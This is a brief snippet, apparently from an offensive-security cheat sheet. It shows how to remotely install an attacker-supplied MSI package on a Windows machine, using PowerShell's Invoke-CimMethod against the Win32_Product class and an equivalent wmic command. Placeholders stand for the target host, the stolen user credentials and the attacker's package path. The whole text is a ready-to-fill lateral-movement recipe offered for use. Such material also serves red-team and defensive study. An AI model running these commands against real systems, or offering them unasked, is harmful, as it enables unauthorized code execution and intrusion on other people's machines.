Invoke-CimMethod -CimSession $SESSION_OBJECT ` -ClassName Win32_Product ` -MethodName Install ` -Arguments @{ PackageLocation = "$PATH_TO_ATTACKER_MSI"; Options = ""; AllUsers = $false } wmic equivalent How to remotely install a Windows package with wmicwmic.exe /user:$TARGET_USER ` /password:$TARGET_PASSWORD ` /node:$TARGET_HOST ` product call install PackageLocation=$PATH_TO_ATTACKER_MSILink to original